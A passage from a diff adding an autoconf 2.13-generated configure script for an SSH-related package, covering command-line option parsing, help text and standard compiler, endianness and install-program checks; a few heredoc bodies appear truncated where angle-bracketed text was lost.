| --exe=* | --ex=*) + exec_prefix="$ac_optarg" ;; + + -gas | --gas | --ga | --g) + # Obsolete; use --with-gas. + with_gas=yes ;; + + -help | --help | --hel | --he) + # Omit some internal or obsolete options to make the list less imposing. + # This message is too long to be a string in the A/UX 3.1 sh. + cat << EOF +Usage: configure [options] [host] +Options: [defaults in brackets after descriptions] +Configuration: + --cache-file=FILE cache test results in FILE + --help print this message + --no-create do not create output files + --quiet, --silent do not print \`checking...' messages + --version print the version of autoconf that created configure +Directory and file names: + --prefix=PREFIX install architecture-independent files in PREFIX + [$ac_default_prefix] + --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX + [same as prefix] + --bindir=DIR user executables in DIR [EPREFIX/bin] + --sbindir=DIR system admin executables in DIR [EPREFIX/sbin] + --libexecdir=DIR program executables in DIR [EPREFIX/libexec] + --datadir=DIR read-only architecture-independent data in DIR + [PREFIX/share] + --sysconfdir=DIR read-only single-machine data in DIR [PREFIX/etc] + --sharedstatedir=DIR modifiable architecture-independent data in DIR + [PREFIX/com] + --localstatedir=DIR modifiable single-machine data in DIR [PREFIX/var] + --libdir=DIR object code libraries in DIR [EPREFIX/lib] + --includedir=DIR C header files in DIR [PREFIX/include] + --oldincludedir=DIR C header files for non-gcc in DIR [/usr/include] + --infodir=DIR info documentation in DIR [PREFIX/info] + --mandir=DIR man documentation in DIR [PREFIX/man] + --srcdir=DIR find the sources in DIR [configure dir or ..] + --program-prefix=PREFIX prepend PREFIX to installed program names + --program-suffix=SUFFIX append SUFFIX to installed program names + --program-transform-name=PROGRAM + run sed PROGRAM on installed program names +EOF + cat << EOF +Host type: + --build=BUILD configure for building on BUILD [BUILD=HOST] + --host=HOST configure for HOST [guessed] + --target=TARGET configure for TARGET [TARGET=HOST] +Features and packages: + --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) + --enable-FEATURE[=ARG] include FEATURE [ARG=yes] + --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] + --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) + --x-includes=DIR X include files are in DIR + --x-libraries=DIR X library files are in DIR +EOF + if test -n "$ac_help"; then + echo "--enable and --with options recognized:$ac_help" + fi + exit 0 ;; + + -host | --host | --hos | --ho) + ac_prev=host ;; + -host=* | --host=* | --hos=* | --ho=*) + host="$ac_optarg" ;; + + -includedir | --includedir | --includedi | --included | --include \ + | --includ | --inclu | --incl | --inc) + ac_prev=includedir ;; + -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ + | --includ=* | --inclu=* | --incl=* | --inc=*) + includedir="$ac_optarg" ;; + + -infodir | --infodir | --infodi | --infod | --info | --inf) + ac_prev=infodir ;; + -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) + infodir="$ac_optarg" ;; + + -libdir | --libdir | --libdi | --libd) + ac_prev=libdir ;; + -libdir=* | --libdir=* | --libdi=* | --libd=*) + libdir="$ac_optarg" ;; + + -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ + | --libexe | --libex | --libe) + ac_prev=libexecdir ;; + -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ + | --libexe=* | --libex=* | --libe=*) + libexecdir="$ac_optarg" ;; + + -localstatedir | --localstatedir | --localstatedi | --localstated \ + | --localstate | --localstat | --localsta | --localst \ + | --locals | --local | --loca | --loc | --lo) + ac_prev=localstatedir ;; + -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ + | --localstate=* | --localstat=* | --localsta=* | --localst=* \ + | --locals=* | --local=* | --loca=* | --loc=* | --lo=*) + localstatedir="$ac_optarg" ;; + + -mandir | --mandir | --mandi | --mand | --man | --ma | --m) + ac_prev=mandir ;; + -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) + mandir="$ac_optarg" ;; + + -nfp | --nfp | --nf) + # Obsolete; use --without-fp. + with_fp=no ;; + + -no-create | --no-create | --no-creat | --no-crea | --no-cre \ + | --no-cr | --no-c) + no_create=yes ;; + + -no-recursion | --no-recursion | --no-recursio | --no-recursi \ + | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) + no_recursion=yes ;; + + -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ + | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ + | --oldin | --oldi | --old | --ol | --o) + ac_prev=oldincludedir ;; + -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ + | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ + | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) + oldincludedir="$ac_optarg" ;; + + -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) + ac_prev=prefix ;; + -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) + prefix="$ac_optarg" ;; + + -program-prefix | --program-prefix | --program-prefi | --program-pref \ + | --program-pre | --program-pr | --program-p) + ac_prev=program_prefix ;; + -program-prefix=* | --program-prefix=* | --program-prefi=* \ + | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) + program_prefix="$ac_optarg" ;; + + -program-suffix | --program-suffix | --program-suffi | --program-suff \ + | --program-suf | --program-su | --program-s) + ac_prev=program_suffix ;; + -program-suffix=* | --program-suffix=* | --program-suffi=* \ + | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) + program_suffix="$ac_optarg" ;; + + -program-transform-name | --program-transform-name \ + | --program-transform-nam | --program-transform-na \ + | --program-transform-n | --program-transform- \ + | --program-transform | --program-transfor \ + | --program-transfo | --program-transf \ + | --program-trans | --program-tran \ + | --progr-tra | --program-tr | --program-t) + ac_prev=program_transform_name ;; + -program-transform-name=* | --program-transform-name=* \ + | --program-transform-nam=* | --program-transform-na=* \ + | --program-transform-n=* | --program-transform-=* \ + | --program-transform=* | --program-transfor=* \ + | --program-transfo=* | --program-transf=* \ + | --program-trans=* | --program-tran=* \ + | --progr-tra=* | --program-tr=* | --program-t=*) + program_transform_name="$ac_optarg" ;; + + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + silent=yes ;; + + -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) + ac_prev=sbindir ;; + -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ + | --sbi=* | --sb=*) + sbindir="$ac_optarg" ;; + + -sharedstatedir | --sharedstatedir | --sharedstatedi \ + | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ + | --sharedst | --shareds | --shared | --share | --shar \ + | --sha | --sh) + ac_prev=sharedstatedir ;; + -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ + | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ + | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ + | --sha=* | --sh=*) + sharedstatedir="$ac_optarg" ;; + + -site | --site | --sit) + ac_prev=site ;; + -site=* | --site=* | --sit=*) + site="$ac_optarg" ;; + + -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) + ac_prev=srcdir ;; + -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) + srcdir="$ac_optarg" ;; + + -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ + | --syscon | --sysco | --sysc | --sys | --sy) + ac_prev=sysconfdir ;; + -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ + | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) + sysconfdir="$ac_optarg" ;; + + -target | --target | --targe | --targ | --tar | --ta | --t) + ac_prev=target ;; + -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) + target="$ac_optarg" ;; + + -v | -verbose | --verbose | --verbos | --verbo | --verb) + verbose=yes ;; + + -version | --version | --versio | --versi | --vers) + echo "configure generated by autoconf version 2.13" + exit 0 ;; + + -with-* | --with-*) + ac_package=`echo $ac_option|sed -e 's/-*with-//' -e 's/=.*//'` + # Reject names that are not valid shell variable names. + if test -n "`echo $ac_package| sed 's/[-_a-zA-Z0-9]//g'`"; then + { echo "configure: error: $ac_package: invalid package name" 1>&2; exit 1; } + fi + ac_package=`echo $ac_package| sed 's/-/_/g'` + case "$ac_option" in + *=*) ;; + *) ac_optarg=yes ;; + esac + eval "with_${ac_package}='$ac_optarg'" ;; + + -without-* | --without-*) + ac_package=`echo $ac_option|sed -e 's/-*without-//'` + # Reject names that are not valid shell variable names. + if test -n "`echo $ac_package| sed 's/[-a-zA-Z0-9_]//g'`"; then + { echo "configure: error: $ac_package: invalid package name" 1>&2; exit 1; } + fi + ac_package=`echo $ac_package| sed 's/-/_/g'` + eval "with_${ac_package}=no" ;; + + --x) + # Obsolete; use --with-x. + with_x=yes ;; + + -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ + | --x-incl | --x-inc | --x-in | --x-i) + ac_prev=x_includes ;; + -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ + | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) + x_includes="$ac_optarg" ;; + + -x-libraries | --x-libraries | --x-librarie | --x-librari \ + | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) + ac_prev=x_libraries ;; + -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ + | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) + x_libraries="$ac_optarg" ;; + + -*) { echo "configure: error: $ac_option: invalid option; use --help to show usage" 1>&2; exit 1; } + ;; + + *) + if test -n "`echo $ac_option| sed 's/[-a-z0-9.]//g'`"; then + echo "configure: warning: $ac_option: invalid host type" 1>&2 + fi + if test "x$nonopt" != xNONE; then + { echo "configure: error: can only configure for one host and one target at a time" 1>&2; exit 1; } + fi + nonopt="$ac_option" + ;; + + esac +done + +if test -n "$ac_prev"; then + { echo "configure: error: missing argument to --`echo $ac_prev | sed 's/_/-/g'`" 1>&2; exit 1; } +fi + +trap 'rm -fr conftest* confdefs* core core.* *.core $ac_clean_files; exit 1' 1 2 15 + +# File descriptor usage: +# 0 standard input +# 1 file creation +# 2 errors and warnings +# 3 some systems may open it to /dev/tty +# 4 used on the Kubota Titan +# 6 checking for... messages and results +# 5 compiler messages saved in config.log +if test "$silent" = yes; then + exec 6>/dev/null +else + exec 6>&1 +fi +exec 5>./config.log + +echo "\ +This file contains any messages produced by compilers while +running configure, to aid debugging if configure makes a mistake. +" 1>&5 + +# Strip out --no-create and --no-recursion so they do not pile up. +# Also quote any args containing shell metacharacters. +ac_configure_args= +for ac_arg +do + case "$ac_arg" in + -no-create | --no-create | --no-creat | --no-crea | --no-cre \ + | --no-cr | --no-c) ;; + -no-recursion | --no-recursion | --no-recursio | --no-recursi \ + | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) ;; + *" "*|*" "*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?]*) + ac_configure_args="$ac_configure_args '$ac_arg'" ;; + *) ac_configure_args="$ac_configure_args $ac_arg" ;; + esac +done + +# NLS nuisances. +# Only set these to C if already set. These must not be set unconditionally +# because not all systems understand e.g. LANG=C (notably SCO). +# Fixing LC_MESSAGES prevents Solaris sh from translating var values in `set'! +# Non-C LC_CTYPE values break the ctype check. +if test "${LANG+set}" = set; then LANG=C; export LANG; fi +if test "${LC_ALL+set}" = set; then LC_ALL=C; export LC_ALL; fi +if test "${LC_MESSAGES+set}" = set; then LC_MESSAGES=C; export LC_MESSAGES; fi +if test "${LC_CTYPE+set}" = set; then LC_CTYPE=C; export LC_CTYPE; fi + +# confdefs.h avoids OS command line length limits that DEFS can exceed. +rm -rf conftest* confdefs.h +# AIX cpp loses on an empty file, so make sure it contains at least a newline. +echo > confdefs.h + +# A filename unique to this package, relative to the directory that +# configure is in, which we can look for to find out if srcdir is correct. +ac_unique_file=ssh.c + +# Find the source files, if location was not specified. +if test -z "$srcdir"; then + ac_srcdir_defaulted=yes + # Try the directory containing this script, then its parent. + ac_prog=$0 + ac_confdir=`echo $ac_prog|sed 's%/[^/][^/]*$%%'` + test "x$ac_confdir" = "x$ac_prog" && ac_confdir=. + srcdir=$ac_confdir + if test ! -r $srcdir/$ac_unique_file; then + srcdir=.. + fi +else + ac_srcdir_defaulted=no +fi +if test ! -r $srcdir/$ac_unique_file; then + if test "$ac_srcdir_defaulted" = yes; then + { echo "configure: error: can not find sources in $ac_confdir or .." 1>&2; exit 1; } + else + { echo "configure: error: can not find sources in $srcdir" 1>&2; exit 1; } + fi +fi +srcdir=`echo "${srcdir}" | sed 's%\([^/]\)/*$%\1%'` + +# Prefer explicitly selected file to automatically selected ones. +if test -z "$CONFIG_SITE"; then + if test "x$prefix" != xNONE; then + CONFIG_SITE="$prefix/share/config.site $prefix/etc/config.site" + else + CONFIG_SITE="$ac_default_prefix/share/config.site $ac_default_prefix/etc/config.site" + fi +fi +for ac_site_file in $CONFIG_SITE; do + if test -r "$ac_site_file"; then + echo "loading site script $ac_site_file" + . "$ac_site_file" + fi +done + +if test -r "$cache_file"; then + echo "loading cache $cache_file" + . $cache_file +else + echo "creating cache $cache_file" + > $cache_file +fi + +ac_ext=c +# CFLAGS is not in ac_cpp because -g, -O, etc. are not valid cpp options. +ac_cpp='$CPP $CPPFLAGS' +ac_compile='${CC-cc} -c $CFLAGS $CPPFLAGS conftest.$ac_ext 1>&5' +ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS 1>&5' +cross_compiling=$ac_cv_prog_cc_cross + +ac_exeext= +ac_objext=o +if (echo "testing\c"; echo 1,2,3) | grep c >/dev/null; then + # Stardent Vistra SVR4 grep lacks -e, says ghazi@caip.rutgers.edu. + if (echo -n testing; echo 1,2,3) | sed s/-n/xn/ | grep xn >/dev/null; then + ac_n= ac_c=' +' ac_t=' ' + else + ac_n=-n ac_c= ac_t= + fi +else + ac_n= ac_c='\c' ac_t= +fi + + + + +# Extract the first word of "gcc", so it can be a program name with args. +set dummy gcc; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:603: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_prog_CC="gcc" + break + fi + done + IFS="$ac_save_ifs" +fi +fi +CC="$ac_cv_prog_CC" +if test -n "$CC"; then + echo "$ac_t""$CC" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + +if test -z "$CC"; then + # Extract the first word of "cc", so it can be a program name with args. +set dummy cc; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:633: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_prog_rejected=no + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + if test "$ac_dir/$ac_word" = "/usr/ucb/cc"; then + ac_prog_rejected=yes + continue + fi + ac_cv_prog_CC="cc" + break + fi + done + IFS="$ac_save_ifs" +if test $ac_prog_rejected = yes; then + # We found a bogon in the path, so make sure we never use it. + set dummy $ac_cv_prog_CC + shift + if test $# -gt 0; then + # We chose a different compiler from the bogus one. + # However, it has the same basename, so the bogon will be chosen + # first if we set CC to just the basename; use the full file name. + shift + set dummy "$ac_dir/$ac_word" "$@" + shift + ac_cv_prog_CC="$@" + fi +fi +fi +fi +CC="$ac_cv_prog_CC" +if test -n "$CC"; then + echo "$ac_t""$CC" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$CC"; then + case "`uname -s`" in + *win32* | *WIN32*) + # Extract the first word of "cl", so it can be a program name with args. +set dummy cl; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:684: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_prog_CC="cl" + break + fi + done + IFS="$ac_save_ifs" +fi +fi +CC="$ac_cv_prog_CC" +if test -n "$CC"; then + echo "$ac_t""$CC" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + ;; + esac + fi + test -z "$CC" && { echo "configure: error: no acceptable cc found in \$PATH" 1>&2; exit 1; } +fi + +echo $ac_n "checking whether the C compiler ($CC $CFLAGS $LDFLAGS) works""... $ac_c" 1>&6 +echo "configure:716: checking whether the C compiler ($CC $CFLAGS $LDFLAGS) works" >&5 + +ac_ext=c +# CFLAGS is not in ac_cpp because -g, -O, etc. are not valid cpp options. +ac_cpp='$CPP $CPPFLAGS' +ac_compile='${CC-cc} -c $CFLAGS $CPPFLAGS conftest.$ac_ext 1>&5' +ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS 1>&5' +cross_compiling=$ac_cv_prog_cc_cross + +cat > conftest.$ac_ext << EOF + +#line 727 "configure" +#include "confdefs.h" + +main(){return(0);} +EOF +if { (eval echo configure:732: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + ac_cv_prog_cc_works=yes + # If we can't run a trivial program, we are probably using a cross compiler. + if (./conftest; exit) 2>/dev/null; then + ac_cv_prog_cc_cross=no + else + ac_cv_prog_cc_cross=yes + fi +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + ac_cv_prog_cc_works=no +fi +rm -fr conftest* +ac_ext=c +# CFLAGS is not in ac_cpp because -g, -O, etc. are not valid cpp options. +ac_cpp='$CPP $CPPFLAGS' +ac_compile='${CC-cc} -c $CFLAGS $CPPFLAGS conftest.$ac_ext 1>&5' +ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS 1>&5' +cross_compiling=$ac_cv_prog_cc_cross + +echo "$ac_t""$ac_cv_prog_cc_works" 1>&6 +if test $ac_cv_prog_cc_works = no; then + { echo "configure: error: installation or configuration problem: C compiler cannot create executables." 1>&2; exit 1; } +fi +echo $ac_n "checking whether the C compiler ($CC $CFLAGS $LDFLAGS) is a cross-compiler""... $ac_c" 1>&6 +echo "configure:758: checking whether the C compiler ($CC $CFLAGS $LDFLAGS) is a cross-compiler" >&5 +echo "$ac_t""$ac_cv_prog_cc_cross" 1>&6 +cross_compiling=$ac_cv_prog_cc_cross + +echo $ac_n "checking whether we are using GNU C""... $ac_c" 1>&6 +echo "configure:763: checking whether we are using GNU C" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_gcc'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.c <&5; (eval $ac_try) 2>&5; }; } | egrep yes >/dev/null 2>&1; then + ac_cv_prog_gcc=yes +else + ac_cv_prog_gcc=no +fi +fi + +echo "$ac_t""$ac_cv_prog_gcc" 1>&6 + +if test $ac_cv_prog_gcc = yes; then + GCC=yes +else + GCC= +fi + +ac_test_CFLAGS="${CFLAGS+set}" +ac_save_CFLAGS="$CFLAGS" +CFLAGS= +echo $ac_n "checking whether ${CC-cc} accepts -g""... $ac_c" 1>&6 +echo "configure:791: checking whether ${CC-cc} accepts -g" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_cc_g'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + echo 'void f(){}' > conftest.c +if test -z "`${CC-cc} -g -c conftest.c 2>&1`"; then + ac_cv_prog_cc_g=yes +else + ac_cv_prog_cc_g=no +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_prog_cc_g" 1>&6 +if test "$ac_test_CFLAGS" = set; then + CFLAGS="$ac_save_CFLAGS" +elif test $ac_cv_prog_cc_g = yes; then + if test "$GCC" = yes; then + CFLAGS="-g -O2" + else + CFLAGS="-g" + fi +else + if test "$GCC" = yes; then + CFLAGS="-O2" + else + CFLAGS= + fi +fi + +ac_aux_dir= +for ac_dir in $srcdir $srcdir/.. $srcdir/../..; do + if test -f $ac_dir/install-sh; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install-sh -c" + break + elif test -f $ac_dir/install.sh; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install.sh -c" + break + fi +done +if test -z "$ac_aux_dir"; then + { echo "configure: error: can not find install-sh or install.sh in $srcdir $srcdir/.. $srcdir/../.." 1>&2; exit 1; } +fi +ac_config_guess=$ac_aux_dir/config.guess +ac_config_sub=$ac_aux_dir/config.sub +ac_configure=$ac_aux_dir/configure # This should be Cygnus configure. + + +# Make sure we can run config.sub. +if ${CONFIG_SHELL-/bin/sh} $ac_config_sub sun4 >/dev/null 2>&1; then : +else { echo "configure: error: can not run $ac_config_sub" 1>&2; exit 1; } +fi + +echo $ac_n "checking host system type""... $ac_c" 1>&6 +echo "configure:848: checking host system type" >&5 + +host_alias=$host +case "$host_alias" in +NONE) + case $nonopt in + NONE) + if host_alias=`${CONFIG_SHELL-/bin/sh} $ac_config_guess`; then : + else { echo "configure: error: can not guess host type; you must specify one" 1>&2; exit 1; } + fi ;; + *) host_alias=$nonopt ;; + esac ;; +esac + +host=`${CONFIG_SHELL-/bin/sh} $ac_config_sub $host_alias` +host_cpu=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'` +host_vendor=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'` +host_os=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'` +echo "$ac_t""$host" 1>&6 + +echo $ac_n "checking whether byte ordering is bigendian""... $ac_c" 1>&6 +echo "configure:869: checking whether byte ordering is bigendian" >&5 +if eval "test \"`echo '$''{'ac_cv_c_bigendian'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_cv_c_bigendian=unknown +# See if sys/param.h defines the BYTE_ORDER macro. +cat > conftest.$ac_ext < +#include +int main() { + +#if !BYTE_ORDER || !BIG_ENDIAN || !LITTLE_ENDIAN + bogus endian macros +#endif +; return 0; } +EOF +if { (eval echo configure:887: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + # It does; now see whether it defined to BIG_ENDIAN or not. +cat > conftest.$ac_ext < +#include +int main() { + +#if BYTE_ORDER != BIG_ENDIAN + not big endian +#endif +; return 0; } +EOF +if { (eval echo configure:902: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_c_bigendian=yes +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_c_bigendian=no +fi +rm -f conftest* +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 +fi +rm -f conftest* +if test $ac_cv_c_bigendian = unknown; then +if test "$cross_compiling" = yes; then + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } +else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_c_bigendian=no +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_c_bigendian=yes +fi +rm -fr conftest* +fi + +fi +fi + +echo "$ac_t""$ac_cv_c_bigendian" 1>&6 +if test $ac_cv_c_bigendian = yes; then + cat >> confdefs.h <<\EOF +#define WORDS_BIGENDIAN 1 +EOF + +fi + + +# Checks for programs. +echo $ac_n "checking how to run the C preprocessor""... $ac_c" 1>&6 +echo "configure:961: checking how to run the C preprocessor" >&5 +# On Suns, sometimes $CPP names a directory. +if test -n "$CPP" && test -d "$CPP"; then + CPP= +fi +if test -z "$CPP"; then +if eval "test \"`echo '$''{'ac_cv_prog_CPP'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + # This must be in double quotes, not single quotes, because CPP may get + # substituted into the Makefile and "${CC-cc}" will confuse make. + CPP="${CC-cc} -E" + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. + cat > conftest.$ac_ext < +Syntax Error +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:982: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + : +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + CPP="${CC-cc} -E -traditional-cpp" + cat > conftest.$ac_ext < +Syntax Error +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:999: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + : +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + CPP="${CC-cc} -nologo -E" + cat > conftest.$ac_ext < +Syntax Error +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:1016: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + : +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + CPP=/lib/cpp +fi +rm -f conftest* +fi +rm -f conftest* +fi +rm -f conftest* + ac_cv_prog_CPP="$CPP" +fi + CPP="$ac_cv_prog_CPP" +else + ac_cv_prog_CPP="$CPP" +fi +echo "$ac_t""$CPP" 1>&6 + +# Extract the first word of "ranlib", so it can be a program name with args. +set dummy ranlib; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:1043: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_RANLIB'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test -n "$RANLIB"; then + ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. +else + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_prog_RANLIB="ranlib" + break + fi + done + IFS="$ac_save_ifs" + test -z "$ac_cv_prog_RANLIB" && ac_cv_prog_RANLIB=":" +fi +fi +RANLIB="$ac_cv_prog_RANLIB" +if test -n "$RANLIB"; then + echo "$ac_t""$RANLIB" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + +# Find a good install program. We prefer a C program (faster), +# so one script is as good as another. But avoid the broken or +# incompatible versions: +# SysV /etc/install, /usr/sbin/install +# SunOS /usr/etc/install +# IRIX /sbin/install +# AIX /bin/install +# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag +# AFS /usr/afsws/bin/install, which mishandles nonexistent args +# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" +# ./install, which can be erroneously created by make from ./install.sh. +echo $ac_n "checking for a BSD compatible install""... $ac_c" 1>&6 +echo "configure:1082: checking for a BSD compatible install" >&5 +if test -z "$INSTALL"; then +if eval "test \"`echo '$''{'ac_cv_path_install'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + IFS="${IFS= }"; ac_save_IFS="$IFS"; IFS=":" + for ac_dir in $PATH; do + # Account for people who put trailing slashes in PATH elements. + case "$ac_dir/" in + /|./|.//|/etc/*|/usr/sbin/*|/usr/etc/*|/sbin/*|/usr/afsws/bin/*|/usr/ucb/*) ;; + *) + # OSF1 and SCO ODT 3.0 have their own names for install. + # Don't use installbsd from OSF since it installs stuff as root + # by default. + for ac_prog in ginstall scoinst install; do + if test -f $ac_dir/$ac_prog; then + if test $ac_prog = install && + grep dspmsg $ac_dir/$ac_prog >/dev/null 2>&1; then + # AIX install. It has an incompatible calling convention. + : + else + ac_cv_path_install="$ac_dir/$ac_prog -c" + break 2 + fi + fi + done + ;; + esac + done + IFS="$ac_save_IFS" + +fi + if test "${ac_cv_path_install+set}" = set; then + INSTALL="$ac_cv_path_install" + else + # As a last resort, use the slow shell script. We don't cache a + # path for INSTALL within a source directory, because that will + # break other packages using the cache if that directory is + # removed, or if the path is relative. + INSTALL="$ac_install_sh" + fi +fi +echo "$ac_t""$INSTALL" 1>&6 + +# Use test -z because SunOS4 sh mishandles braces in ${var-val}. +# It thinks the first close brace ends the variable substitution. +test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' + +test -z "$INSTALL_SCRIPT" && 